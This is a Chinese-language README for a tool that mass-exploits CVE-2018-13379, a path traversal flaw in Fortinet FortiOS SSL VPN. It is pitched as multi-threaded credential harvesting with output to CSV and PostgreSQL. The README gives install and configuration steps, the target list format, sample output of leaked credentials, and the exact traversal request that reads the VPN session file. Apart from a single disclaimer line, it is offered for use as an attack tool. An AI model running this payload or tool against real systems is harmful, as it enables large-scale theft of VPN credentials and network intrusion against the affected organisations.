CVE-2018-13379 大规模利用工具,针对 Fortinet FortiOS SSL VPN。即时提取凭据,保存至 CSV + PostgreSQL。多线程,无多余警告。

一个用于批量利用 Fortinet FortiOS SSL VPN 中 CVE-2018-13379(路径遍历)漏洞的工具。可读取会话文件,并提取明文形式的用户名和密码。
/remote/fgt_lang 端点利用 CVE-2018-13379fortios_creds_20250120_143052)git clone https://github.com/Instructor-Admin/Multi-threaded-mass-exploiter-CVE-2018-13379-POC.git
cd Multi-threaded-mass-exploiter-CVE-2018-13379-POC
pip3 install requests psycopg2-binary
所有设置都可以直接在脚本中编辑——无需摆弄命令行参数:
TARGETS_FILE = "targets.txt" # File with targets (ip:port)
CSV_FILE = "fortios_creds.csv" # Output CSV file
PG_HOST = "127.0.0.1"
PG_PORT = 5432
PG_DB = "fortios_db"
PG_USER = "postgres"
PG_PASSWORD = "password"
THREADS = 20
TIMEOUT = 8
targets.txt,每行一个目标:192.168.1.1:8443
10.0.0.5:10443
172.16.0.1:443
python3 exploit.py
fortios_creds_YYYYMMDD_HHMMSS)示例输出:
[+] 100 targets loaded. We're running in 20 threads...
[+] LEAKED: 192.168.1.1:8443
→ Pulled 3 credentials
Wrote 3 credentials to CSV
3 credentials entered into the DB
[-] Not leaky: 10.0.0.1:10443
https://ip:port/remote/fgt_lang?lang=/../../../..///////////dev/cmdb/sslvpn_websession 发送 GET 请求var fgt_lang(漏洞存在的标志)username 和 password 对requestspsycopg2-binary(可选——没有它仅使用 CSV 文件也能正常运行)urllib3此工具仅用于教育目的和授权测试。请自行承担使用后果。
Unlicense —— 你想怎么用就怎么用。